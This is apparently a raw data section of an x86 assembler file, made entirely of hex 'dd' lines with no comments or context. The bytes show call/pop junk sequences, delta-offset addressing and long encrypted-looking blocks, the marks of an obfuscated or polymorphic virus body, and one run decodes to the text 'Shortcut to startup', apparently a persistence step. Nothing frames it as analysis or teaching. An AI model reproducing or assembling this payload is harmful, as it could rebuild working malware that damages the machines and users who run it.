		dd 44810424h, 150424h, 52420000h, 89ADE9C3h, 4D1C49BDh
		dd 290FB706h, 4D1775B5h, 52509606h, 6E8h, 4B82BD00h, 66142279h
		dd 0F5FDF8Bh, 0E9525031h, 0Bh, 6421D6ABh, 0DBAFDA73h, 0F8D4F3Fh
		dd 0F525031h, 5A585A31h, 50585A58h, 340E3EBBh, 6A9636h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 52B9F3C3h, 0E8464EA2h, 9, 8DFCC24h, 0F4B10E0Ch, 0A1BD8B7Bh
		dd 5F064D03h, 61606053h, 0B5FF5B61h, 650B795h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9FC35747h, 800F1BCFh
		dd 1, 0C595FFF9h, 6A064D17h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0F08C351h, 81D57924h
		dd 42BF73DBh, 8B57605Ah, 0FF615ED3h, 50B795B5h,	619D2906h
		dd 0FF064D0Bh, 4D29B995h, 0FE906h, 68200000h, 0DEC7E4Ah
		dd 2648D83Bh, 773F93FCh, 5BD839Dh, 2064D15h, 38840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 39BAF9C3h, 8B66E27Ah, 0A9858BFAh, 8B064D15h,	4D0079BDh
		dd 0C606h, 1495BD8Bh, 85C7064Dh, 64D2111h, 0
		dd 0E9FAC780h, 0FFFFF2D2h, 7E8h, 0C2D4A600h, 0CC8A7923h
		dd 21CD8D89h, 8B5B064Dh, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 4D9D8BCAh, 66064D2Bh
		dd 3CE6D381h, 346A8D8Dh, 858B0652h, 64D2685h, 5998D89h
		dd 6A064Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 3BD3A0C3h, 31C26256h, 66BED7B7h, 0CE77F381h
		dd 51D85C7h, 64A0064Dh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0C4C75C3h, 20466332h
		dd 0BDBF66C4h, 0E985C71Fh, 64D02h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0B121C350h, 0BE666C85h, 0B5FFC9BAh, 64D0AA1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 57C35747h, 35593300h
		dd 5595FFC5h, 9064D2Eh,	4D076985h, 0FF006A06h, 4D051195h
		dd 0EBC08B06h, 0EAC3231Ch, 62DC519h, 0BC65D5B3h, 6564A3F1h
		dd 8AED87D5h, 0AC8D2CF8h, 19EAC323h, 438D8DC5h,	6A065235h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 12B8C352h, 36D9D89h, 0B70F064Dh, 998D89D9h
		dd 0FC064D05h, 51D85C7h, 7268064Dh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0B57944C3h
		dd 0ADCEAA37h, 0BA92CD73h, 238EA111h, 2E985C7h,	64Dh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0F838E9C3h, 9EB3E0EAh, 1ABD9589h, 0B5FF064Dh, 64D2B05h
		dd 15958D31h, 95FF064Dh, 64D2E55h, 0E09BD89h, 6A064Dh
		dd 51195FFh, 0C08B064Dh, 0B4516AEBh, 22B52220h,	4CF594F8h
		dd 0A931FC8Ch, 708B33CAh, 1DFFB350h, 7AC146E2h,	0A1AF80DAh
		dd 406B4F8Dh, 77446EFh,	6504A0A4h, 0F09A4BB5h, 1F72EBFBh
		dd 25558AA8h, 0B7CDB693h, 0A57C4183h, 90C68246h, 84E4B291h
		dd 0EEB6B2DBh, 453DB40Ch, 0CE512F07h, 0BA40B02Ah, 93C2642Ah
		dd 3D4573A5h, 0C402DAECh, 66242600h, 0EE9716FFh, 0CE8h
		dd 7510D300h, 3A870CAFh, 0F2BDB1C9h, 5E920h, 21BE0000h
		dd 5808A23Ch, 0C830Fh, 7E90000h, 3C000000h, 0DA9BD425h
		dd 0C0818347h, 65FDh, 6840Fh, 95890000h, 64D00A9h, 5E8D233h
		dd 6E000000h, 0CA40A000h, 7E8h,	8DF63A00h, 4A8FD7DEh, 31BD8Bh
		dd 5959064Dh, 0F0234FFh, 28Dh, 5EF88B00h, 2165B501h, 0EE81064Dh
		dd 5B730701h, 10E960h, 0EC520000h, 17CA55E1h, 0EDB797E5h
		dd 83B52DFAh, 81619C7Fh, 6433AFEEh, 0FE815h, 0E00A0000h
		dd 0A0B04A92h, 4DC1C350h, 0BDE674D7h, 0FDB9BF41h, 815F093Bh
		dd 0D97E98EEh, 0E9BD8B35h, 89064D1Fh, 0B5091034h, 64D322Dh
		dd 81CA8B66h, 94DB60EAh, 25858902h, 81064D30h, 94DB5CC2h
		dd 0D8B70F02h, 9AF4FA81h, 850FFFFFh, 0FFFFFF78h, 0DE9h
		dd 0F820EA00h, 2A027882h, 0A8BE291Ch, 8D8D1F23h, 6523752h
		dd 0B81BD8Bh, 0B58B064Dh, 64D0C39h, 5998D89h, 6A064Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 23CB8DC3h, 49837FD0h, 0ADB589DFh, 0C7064D17h, 4D051D85h
		dd 736806h, 10E900h, 25C10000h,	2B235447h, 6170E2AFh, 0CA9C5C27h
		dd 85C73D28h, 64D02E9h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E3C35646h
		dd 29B5FFB1h, 8B064D32h, 4D26199Dh, 5595FF06h, 9064D2Eh
		dd 4D2C69BDh, 0FF006A06h, 4D051195h, 0EBC08B06h, 0B991390Ah
		dd 0FB47C250h, 0E818B5A0h, 11h,	0CD1320CBh, 5848DA32h
		dd 0C4D8B71Ch, 560CB026h, 0FD9D013Dh, 5E064D26h, 1AED8529h
		dd 0C681064Dh, 68D8h, 95E18166h, 1A0FBF89h, 85890000h
		dd 64D1875h, 0E956068Bh, 13h, 0AEE13742h, 5245466Eh, 91323AD6h
		dd 7F2F957Ch, 592142E8h, 0BBABE881h, 8B6675DFh,	87E881D6h
		dd 8951F5DDh, 4D28158Dh, 93F08106h, 0E938FDFDh,	5, 9A3A6EDAh
		dd 29068929h, 4D143595h, 4EE8306h, 17CD9D89h, 0F4F064Dh
		dd 0FFFFA785h, 0EE9FFh,	1C8F0000h, 4B48635Ch, 0D89017CFh
		dd 7E10F687h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h
		dd 0A90B3363h, 982633A9h, 5E265AF1h, 0D500D6EFh, 0B44E6033h
		dd 67A5E4FFh, 0D52D1AF8h, 4FA3BEA0h, 67206326h,	0A9A3BA79h
		dd 1B207ED8h, 0D50796D7h, 1D293333h, 98263383h,	0A030B6C0h
		dd 157635F4h, 0CA1E3BD6h, 0DD963AFh, 9E6B3FE5h,	98266483h
		dd 15235935h, 0CA1E2B1Fh, 1DAB634Bh, 9E740BAEh,	3DB3CC03h
		dd 93207E83h, 0A1A23C14h, 1526336Ah, 0CA1E2BB0h, 0AACE639Ch
		dd 0D826334Dh, 86A3BEF6h, 0C820616Bh, 0A03EB624h, 67763586h
		dd 0D52572FFh, 94E2B033h, 0A03EB617h, 1576351Fh, 0CA1E3B23h
		dd 0DD96355h, 9E6B3F98h, 9826513Dh, 74AD666Ah, 0CE746464h
		dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch
		dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h
		dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h
		dd 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h
		dd 0C6E7B856h, 517F6C8Eh, 152637A8h, 0CA1E3588h, 0A3ABBE9Ch
		dd 20206174h, 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h
		dd 8DFFFFFFh, 52393BB5h, 5A8D8D06h, 2B065239h, 5E983CFh
		dd 13E8C88Bh, 51000000h, 54BE3DCFh, 0E6A2BA88h,	3B3BA683h
		dd 867B7B3Eh, 0B70F5E97h, 95895ED0h, 64D30C5h, 6A94C681h
		dd 0E7800000h, 1A7068F0h, 0AE80000h, 0FA000000h, 8F6C6AB5h
		dd 9601C489h, 5BEFB3C7h, 0C3BF0F59h, 5FF936FFh,	0F230BB66h
		dd 0AEB1EF81h, 8D016954h, 64D0A45h, 0AC00C781h,	9D8916DFh
		dd 64D2009h, 0B48DC781h, 0C08106E7h, 699D9B30h,	0E3816657h
		dd 68F703Ch, 13E9h, 0B7373800h,	0C25F640Dh, 33DC1A8Ch
		dd 47894075h, 0B2C4EC8h, 0F04EE83h, 0E83h, 9E900h, 0B70000h
		dd 0B785CA53h, 81D56DCBh, 1E9h,	18850F00h, 81000000h, 0A24769EBh
		dd 1DE91Ah, 0D4620000h,	4A47EBAEh, 572685D3h, 1D10159h
		dd 4D23E585h, 0FF6EE906h, 3E48FFFFh, 8D1F276Ah,	523B158Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 289C1ACCh, 4A84758Fh, 0E78AA872h, 998D89F5h
		dd 0F064D05h, 68Ah, 0C9858900h,	0C7064D0Fh, 4D051D85h
		dd 5E1006h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 2092068Ah, 0BD2DB2D0h, 0B58B4516h
		dd 64D2DEDh, 2E985C7h, 64Dh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 65C78EC3h
		dd 0C6C1B866h, 2B05B5FFh, 0FFF8064Dh, 4D2E5595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0B6D34D05h, 9D296D0Dh, 64D0319h, 95FF006Ah, 64D0511h
		dd 6AEBC08Bh, 3D1A8F27h, 353495DBh, 5D2D5232h, 4763E9B1h
		dd 7E778AB2h, 79C79277h, 922928E6h, 0C56DD19h, 0D26CFF3Ch
		dd 0ED9E28C5h, 0EED3E5DBh, 60914E07h, 76675CC0h, 1C3EA262h
		dd 520168FDh, 0A886A21Ah, 0E5DD4E9Bh, 45E57DE5h, 0FDDA093Fh
		dd 0E84259C6h, 0A27C082Fh, 0D139C3C8h, 51147EC2h, 7C9921E5h
		dd 20EFCA5Dh, 4032A357h, 0B920352Ch, 7F1088ADh,	0EA9C6736h
		dd 10198CB9h, 36AC077Dh, 3018853Fh, 326B0130h, 3283E960h
		dd 6A600130h, 76A959F3h, 76910514h, 32110514h, 62440130h
		dd 0CA0ED3F3h, 0B91D9D7Eh, 7FA34C85h, 5BFD8236h, 32264C12h
		dd 3205853Fh, 0AF830130h, 34492449h, 3203DAD9h,	3204E830h
		dd 0C3660130h, 0A2DA3615h, 0B9465360h, 62210EEAh, 3D696162h
		dd 68656101h, 625A5B68h, 32010BD8h, 90F82330h, 0FC739E1Ch
		dd 6978F2A4h, 3D6CB7A0h, 0CC2C4D31h, 0DA54015Ah, 32020133h
		dd 6AC25910h, 36A445B9h, 366445B1h, 32200129h, 54D35170h
		dd 0B326CA12h, 326E59DAh, 3201E962h, 68210130h,	66095BF3h
		dd 76C10514h, 323D0514h, 60520130h, 6F0179F3h, 0B5C19AC5h
		dd 1991CAADh, 7F28D485h, 0A73D8836h, 0B1464C25h, 324A2DF0h
		dd 3213E967h, 6D280130h, 4E8D5EF3h, 76830514h, 32140514h
		dd 65C70130h, 61A209F3h, 0B9288A6Ah, 7F31A885h,	7A836736h
		dd 0D7B988CCh, 54044C1Dh, 0CD3738B1h, 3236853Fh, 322A0130h
		dd 3223E960h, 6A300130h, 768159F3h, 76850514h, 32150514h
		dd 62410130h, 63D5DFF3h, 3FCC0E84h, 0DB200130h,	32100138h
		dd 0E07DD473h, 0ECBE0D64h, 390BC0B3h, 7F2F44ADh, 0DBB98136h
		dd 328E843Fh, 0A7A90130h, 345D338Dh, 0B90940BBh, 7F35C48Dh
		dd 58CA0236h, 31E95130h, 12800130h, 0BB18C268h,	0B3242574h
		dd 26142574h, 72080130h, 0B968C260h, 7F098085h,	37C08236h
		dd 0DAD0015Ah, 32400133h, 6AE35910h, 363445B9h,	362C45B1h
		dd 3204012Ch, 0DEC15170h, 0B87184FDh, 63FDF83Dh, 1BF19413h
		dd 0BA1077Dh, 0B9534AA0h, 326A843Fh, 878F0130h,	344F3231h
		dd 7FE48CBDh, 32EA077Dh, 3243E966h, 6C000130h, 46995FF3h
		dd 76890514h, 321C0514h, 64440130h, 4B957DF3h, 3DD698D5h
		dd 324001B7h, 31985B30h, 58100130h, 31E05330h, 12040130h
		dd 0BB58C26Ah, 0B3052564h, 25842574h, 70400130h, 0F216C262h
		dd 0AF11F0E2h, 34452205h, 0E18FE0CFh, 0E8DABE51h, 8F8C33ECh
		dd 34D23AB4h, 0F988CBDh, 46980762h, 11193B3h, 7F213CB5h
		dd 0F3CB2A36h, 0B92003D9h, 7F1088ADh, 0EA9C6736h, 10198CB9h
		dd 36AC077Dh, 3018853Fh, 0E9830130h, 8BA4F305h,	52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 64F81297h, 85950398h, 0F064D06h, 682h, 0C1858900h, 8B064D26h
		dd 4D1535B5h, 4BC38B06h, 7D083BDBh, 0CA5B3BB2h,	3E986091h
		dd 0B67F6738h, 5D7F7F30h, 0AC5B3BA8h, 189868F2h, 3B8259C6h
		dd 9553D2EAh, 0B3EE3BB1h, 0D1B930D5h, 0B9B27A8Ah, 2F5B3BB1h
		dd 0EC2811D2h, 93F25916h, 0EBD0050Ch, 955BB8BEh, 77D83BB1h
		dd 63162068h, 31524EB1h, 145B2A0Ch, 0B52F3BB7h,	96D068E1h
		dd 2B5F3809h, 0E0DEB2B1h, 475D7694h, 2AEC2E2Ch,	0E988C4B7h
		dd 48E6B8E9h, 0AC5D76B1h, 50B2CC5h, 2B5F3809h, 0E0DEB2B1h
		dd 475D7694h, 2AEF3F2Ch, 0E988C4B7h, 0C5B51E9h,	0AC5B3859h
		dd 95061BB1h, 0F37B2ECh, 0B11FBAB5h, 0CA5B2CB5h, 0A60E7EB1h
		dd 65F73A0Bh, 0B10C3BDBh, 0AC5B3BB2h, 9986491h,	2F7F4738h
		dd 917F7F30h, 0CA5B3BA4h, 0AE986CF6h, 5BCEB2C8h, 0D25D76AEh
		dd 0F5EEB271h, 305D76A5h, 2B31E33Dh, 9558D3E0h
		dd 937B3BB1h, 29D26272h, 0F6DA3F95h, 59403F95h,	0FD1A3BB1h
		dd 6D1CB972h, 76DFA5Bh,	44D6B062h, 415D769Bh, 2844523Ch
		dd 0BD5F93B7h, 5958D235h, 80AABBB1h, 5658BABEh,	0CCDB3BB1h
		dd 0FCE6B807h, 0CA5D7693h, 6577BFBEh, 0B2313BB1h, 5958D3E1h
		dd 0F47B3BB1h, 12D26372h, 6FDA3F95h, 95403F95h,	9A1B3BB1h
		dd 0FE8D6E72h, 27435Dh,	82E43490h, 0AC589E58h, 56E5CEB1h
		dd 4D593B96h, 0AF38C830h, 45D3BE3Ch, 65313DE1h,	0B258D3E1h
		dd 17B3BB1h, 0E8D26372h, 12DA3F95h, 2B423F95h, 0C51B3BB1h
		dd 38105672h, 9AE2D9DFh, 0E05B5161h, 595B3859h,	6F011BB1h
		dd 720FB2EBh, 0F1FBAB5h, 955B2EB5h, 90979B1h, 0F8505E0Ah
		dd 0B4161C20h, 7E02AE3Ah, 6CDE3DFCh, 56C9BFBEh,	0A1543BB1h
		dd 955B3BB7h, 0DFDEA698h, 5DDA3DFCh, 49DA5DE6h,	594EBEBEh
		dd 13543BB1h, 2EDA5D49h, 245939B5h, 95587E35h, 0DBE630B1h
		dd 35D7698h, 0D2C70330h, 5901BEBEh, 0AC313BB1h,	5658D3E2h
		dd 707B3BB1h, 0C9D26072h, 8EDA3F95h, 65433F95h,	0E1183BB1h
		dd 0E1BAA272h, 0ABB2D643h, 0CA5B3BB1h, 502734E1h, 0EDDB9760h
		dd 4F54D3B3h, 655B3B95h, 0A716A63Ah, 0D83D3DFCh, 75B3DC9h
		dd 5649BEBEh, 0B6D03BB1h, 93162578h, 0ECB28638h, 0BEB23DFCh
		dd 4A5B3BB3h, 585A3B0Fh, 0FC5B51F7h, 565B3859h,	0E8031BB1h
		dd 0B11FB2E9h, 0EE1FBAB5h, 655B20B5h, 710B7BB1h, 2B27834Ah
		dd 429C4A2Bh, 67B6B63Ah, 0AED63DFCh, 930BB439h,	238A8CBEh
		dd 655B3BB6h, 15B07570h, 0A6171816h, 0FD5B5161h, 565B3859h
		dd 0E8021BB1h, 0B117B2E8h, 0EE1FBAB5h, 655B27B5h, 710A7AB1h
		dd 0D0465F2Ah, 0A27575EBh, 1BEEB292h, 0AE5D76A3h, 0A2DF3471h
		dd 0CB5B3BB3h, 28776634h, 37DEB2B7h, 0D85D76BCh, 0AE665D89h
		dd 0ADE34B3h, 415B3BB1h, 96B369B1h, 0EA5B3BB1h,	0EC01F8EBh
		dd 335F1FE5h, 435F1FF5h, 0EE5B3BB1h, 349DF8E3h,	24CBFF23h
		dd 0BF1B840Dh, 0D3E07A61h, 0E4127D38h, 8F3D3DC9h, 0DD5441EEh
		dd 0AC5B39A3h, 0BE0C3BDBh, 2B5B3BB2h, 0CA986491h, 0CE7F4738h
		dd 617F7F30h, 0B25B3BA7h, 0B3986CF6h, 2D3D6D65h, 306D6866h
		dd 4BC70330h, 95F1BEBEh, 4B3D3BB1h, 0E594A163h,	0BDB339C9h
		dd 595BA034h, 0FE5B51B1h, 565B3859h, 0E8011BB1h, 0B10FB2EBh
		dd 0EE1FBAB5h, 655B21B5h, 710979B1h, 0C54C10DAh, 254E6306h
		dd 1B44A624h, 0E4DA5DB7h, 143D3774h, 0A5B3DC9h,	6539BEBEh
		dd 0B2313BB1h, 5958D3E3h, 0F67B3BB1h, 2D26172h,	6FDA3F95h
		dd 954E3F95h, 98193BB1h, 8C441272h, 0B25B3BA0h,	0B53219BDh
		dd 36D14CD7h, 0F9283C28h, 3282E6ABh, 943FD23Bh,	0CA313BB1h
		dd 6558D3E2h, 0E97B3BB1h, 5D26072h, 0E8DA3F95h,	56473F95h
		dd 78183BB1h, 0C9DCF572h, 4A1B8DCDh, 0E0723024h, 0B4160AE8h
		dd 585A3B0Fh, 64EC34CFh, 0D9D3BE3Ch, 2B313DE1h,	9558D3E1h
		dd 927B3BB1h, 21D26372h, 0F6DA3F95h, 59463F95h,	0FC1B3BB1h
		dd 0E9CB2F72h, 7EED3049h, 0F344CE48h, 1AA4F43Ah, 6A9BBE44h
		dd 0B25BF635h, 0D9A5B1B1h, 2954D389h, 565B3BD6h, 0C30D3BDBh
		dd 955B3BB2h, 94986591h, 617F4F38h, 0B67F7F30h,	595B3BACh
		dd 8A986DF7h, 7AE41F74h, 843BBD9Bh, 9023BBB0h, 0F2DE34C2h
		dd 0EC5B3BB1h, 0FF45F62Ch, 5E23BBB7h, 3DF34E2h,	3C5B3BB1h
		dd 28B36EB1h, 0B55B3BB1h, 4306F8ECh, 0E45F1FDDh, 0AE5F1FF5h
		dd 1C5B3BB1h, 0EE0FF8E4h, 1C5396E4h, 4D2EA42Fh,	0F375050Ah
		dd 0CFD40330h, 650BBEBEh, 6AD03BB1h, 315D4331h,	0AC1FBEBEh
		dd 56313BB1h, 2B58D3E1h, 0CD7B3BB1h, 8ED26372h,	21DA3F95h
		dd 0B2403F95h, 91B3BB1h, 0E3359272h, 0CE4EF5F3h, 13E25D4Bh
		dd 0EDDA5D64h, 0C57EC4BAh, 655B2A34h, 0EBCE12B1h, 0B05D7693h
		dd 0AC5B3B83h, 71C68638h, 0EB703DFCh, 7C8984BEh, 0CA5B3B9Ah
		dd 8D0C3BDBh, 0B25B3BB2h, 6986491h, 0A87F4738h,	527F7F30h
		dd 2B5B3BABh, 0E1986CF6h, 7350C18h, 64E3786Eh, 0D45B3BB1h
		dd 0C9A9FF0Bh, 0CC0BF43Ah, 565DB2BEh, 0AC543BB1h, 955B3BB1h
		dd 5FD0ABD0h, 631636F4h, 8C6A863Ch, 0D4D63DE3h,	0AA09782Bh
		dd 300E1809h, 0FADE38C6h, 0BE5D76AFh, 0FB2FA7Eh, 0CF585A3Bh
		dd 3C64EC34h, 0E1D9D3BEh, 0E12B313Dh, 0B19558D3h, 72927B3Bh
		dd 0F305E983h, 6A58A4h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 60F13BC3h, 0B6DCB80h, 85840FC0h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 27CFC353h, 0EC42F5EAh,	0CF8A73F1h
		dd 998D8B60h, 0E9064D2Eh, 12h, 3736DA08h, 0B63C75h, 29D9CD18h
		dd 704A52D1h, 8D615D99h, 4D4DE5B5h, 9D09FC06h, 64D110Dh
		dd 3B8h, 8B665300h, 0E6FF5BF8h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0DFC35141h,	64FD0041h, 662CD84Fh
		dd 0CD3BEF81h, 0CDBD2940h, 8B064D25h, 50006AC0h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0BD83B3E0h, 64D1BD9h, 83097500h, 4D0011BDh, 19740006h
		dd 0C08B5350h, 403B8h, 0A5858900h, 8D064D31h, 4FB77C9Dh
		dd 5BD3FF06h, 11BD8358h, 64D00h, 53501774h, 403B8h, 0A5858900h
		dd 8D064D31h, 4FB41D9Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BF0F771Fh
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0D93EA5Dh, 3317F168h, 4D32A19Dh,	0F9950106h
		dd 8B064D04h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 3D64BB52h, 504693B5h, 0CE809h, 5FFA0000h
		dd 0DA344498h, 8DC89CBAh, 8D2934F0h, 64D2395h, 0EFD9805Fh
		dd 899D8D61h, 0B8064D26h, 39h, 6E18589h, 0E8064Dh, 58000000h
		dd 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h), 9E8FFh
		dd 576B0000h, 0E4DD47C4h, 66732F19h, 5A9033B8h,	77FADE81h
		dd 0C2811BE2h, 640Fh, 68F1BF0Fh, 0
		dd 5FC18B66h, 38E0Fh, 8B660000h, 1734FFDAh, 0C62C82BBh
		dd 0C181594Eh, 7549E7A1h, 0ADC181F8h, 0F67ADD1h, 0F181C2BFh
		dd 26E8FCDCh, 0EE9h, 0DAEE5C00h, 69B9E89Ch, 981E4BE9h
		dd 518E93BDh, 8B3A048Fh, 0EF81F5C1h, 74069B20h,	81C6B70Fh
		dd 69B1CC7h, 0C8816674h, 0FF81000Dh, 0FFFF9CA4h, 17850Fh
		dd 0BF0F0000h, 27E9F2h,	342B0000h, 0C872AA73h, 0FD358133h
		dd 86683C47h, 0F68166B6h, 86E92546h, 74FFFFFFh,	635E5F90h
		dd 80C02D2h, 0FA103253h, 98D8D72h, 89065247h, 4D3019BDh
		dd 998D8906h, 81064D05h, 22415EE7h, 1D85C702h, 44064D05h
		dd 66000067h, 0D0C0D681h, 2E985C7h, 64Dh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FF1DDAC3h, 4D2B05B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B11E190h
		dd 4D3011BDh, 5595FF06h, 0BA064D2Eh, 4B07A5Ch, 95FF006Ah
		dd 64D0511h, 6AEBC08Bh,	1F9820CAh, 0FBA76F7Eh, 0AEAE21C0h
		dd 248CB45Dh, 6C06BC24h, 19CA6F6Bh, 88B479E5h, 5082E01Ah
		dd 0F2A5B0F5h, 9E853B38h, 2ECFEC20h, 2A7A07Dh, 96A1B64Fh
		dd 0AF4B68A7h, 0BCBED582h, 8ECC4560h, 6E4890A7h, 3D968738h
		dd 0FDCBA7FFh, 8020220Dh, 140F78B5h, 124D8AB0h,	0D3959886h
		dd 6135DDDEh, 6FA28D72h, 83C1A11Bh, 8D8DBAEBh, 6524862h
		dd 5E9h, 2C82E400h, 85899CFFh, 64D1489h, 5998D89h, 6A064Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 89D9EDC3h, 0DDC6393Eh, 3A58589h, 85C7064Dh, 64D051Dh
		dd 6564h, 85C7F98Bh, 64D02E9h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8AC35646h
		dd 6810F14h, 8B000000h,	4D2E7DBDh, 55B5FF06h, 6A064D07h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 62DBC353h, 33E21ED5h, 4D240985h, 88B0F06h
		dd 50000000h, 13DD9589h, 0FF58064Dh, 4D2E5595h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0CA80493Fh, 0FF006A4Eh, 4D051195h, 0EBC08B06h, 0ACF0155Ah
		dd 1AF25F14h, 0DCB239C2h, 0C5DF3F6Bh, 5EF4CED3h, 0DB9416EAh
		dd 0E21ED562h, 0AD7C09C9h, 2E454A89h, 5C062CDBh, 38CB444Dh
		dd 0F0C21B7Ah, 7D309FB3h, 0BAE18B82h, 4CCD5DD1h, 6F139AC4h
		dd 0DBD7A22h, 0A65B4762h, 5802E683h, 284B13F6h,	5F931CD4h
		dd 1C5958FBh, 0EBE955E6h, 6F68536Ch, 75637472h,	6F742074h
		dd 61747320h, 70757472h, 14h dup(0)
		dd 0C1E38700h, 14Bh, 0EC7E900h,	0D6680000h, 0E906524Ah
		dd 0FFFBF836h, 524BC568h, 0F82CE906h, 0C768FFFBh, 0E906524Dh
		dd 0FFFBF822h, 524E0E68h, 0F818E906h, 0C568FFFBh, 0E906524Eh
		dd 0FFFBF80Eh, 524F5668h, 0F804E906h, 68FFFBh, 0E9065253h
		dd 0FFFBF7FAh, 52556868h, 0F7F0E906h, 7868FFFBh, 0E9065256h
		dd 0FFFBF7E6h, 0C7696D2Bh, 0B6588017h, 0A94B8D06h, 993B9BF9h
		dd 8B2DA9E9h, 5B37BCF2h, 7029D97Bh, 8016C668h, 9104B456h
		dd 0E038A547h, 43D64CFAh, 6D3AC999h, 0BE0F89Dh,	8D7D3FABh
		dd 6751870Eh, 66AF9521h, 0A37B5D38h, 2BB56349h,	813292F2h
		dd 0E23C1638h, 0F22B4EFCh, 0D11ACB92h, 7D55C38Dh, 3F47BE97h
		dd 0B28A3B99h, 86FA5746h, 26702FE1h, 61B6FFB0h,	3EA5C375h
		dd 0A30C5E99h, 4B3CFF99h, 318513h, 87C00000h, 91774FBDh
		dd 993E8DF0h, 0FBE7BC6Dh, 993E8D49h, 1F5992E4h,	134B2061h
		dd 0D70196C6h, 6D80C902h, 0DEh,	0A7553B95h, 24993E99h
		dd 9DE52A73h, 0D808E0F8h, 7ACF18BEh, 78B4E44h, 13491ECFh
		dd 4B815682h, 86EC8E4Ah, 92F192A3h, 0BE60781Dh,	7C51870Eh
		dd 2DABEC1Ch, 92D61F58h, 633C5DC8h, 0F67F1D50h,	0CCA15203h
		dd 9E0AE293h, 0EF5C9C29h, 8D734B37h, 92F28BDFh,	0A62AB5Ch
		dd 3FB0E724h, 0E0B66499h, 336610BDh, 0E899D70Fh, 5CF9537h
		dd 2253BF97h, 0D60291BDh, 39DEC801h, 247CC584h,	8F87A13Eh
		dd 5A85F19Fh, 3AE67972h, 29DA054Eh, 65712151h, 577F13C3h
		dd 7645B79Ch, 0EF409580h, 0C86h, 0FB12573h, 0FEA0385Fh
		dd 0F193454Eh, 0E1835341h, 0D3756131h, 137F043Ah, 287121C3h
		dd 385E0EB0h, 494CFC9Eh, 2880ED8Fh, 43D79442h, 0B5821199h
		dd 3FE1F59Dh, 78603565h, 4494012Fh, 0BD87DBA2h,	0ED1D774Fh
		dd 0E42DA9h, 993E8D5Fh,	6D6B2EDCh, 0E5B4E4BCh, 9CE51EF3h
		dd 347BE747h, 18AD5314h, 5C0EF23Bh, 0F7993EAEh,	563244A5h
		dd 0D9134B01h, 14E9EDA9h, 2F9DF1DBh, 1FE4C7CEh,	0C7C3D6h
		dd 9DFE0000h, 0D50BE0F8h, 584419BDh, 92F19275h,	250BA6EFh
		dd 92F19277h, 0F09243F4h, 28D6BC16h, 0A592F192h, 187DABF4h
		dd 0D59FEBC0h, 6CA98F67h, 0E9993EB8h, 6D09638h,	3666C098h
		dd 482C7563h, 9F8E6C9Ah, 5E8E6617h, 0E7EFA534h,	66EFD912h
		dd 0A60089F8h, 67D3AB5Ch, 0E4B14C6Eh, 0D5F740D2h, 0AE696D25h
		dd 8075A7D3h, 97F7489Dh, 6200000Bh, 4EFEA036h, 3DED8F49h
		dd 30E08256h, 20D07264h, 29C26472h, 0B42270F3h,	0A1376212h
		dd 8F474FFFh, 80583DEDh, 331971DEh, 9943D885h, 9DA67302h
		dd 0D909E1F5h, 286D1BBBh, 59A2DBB0h, 0CA0E8737h, 2D4C2F2h
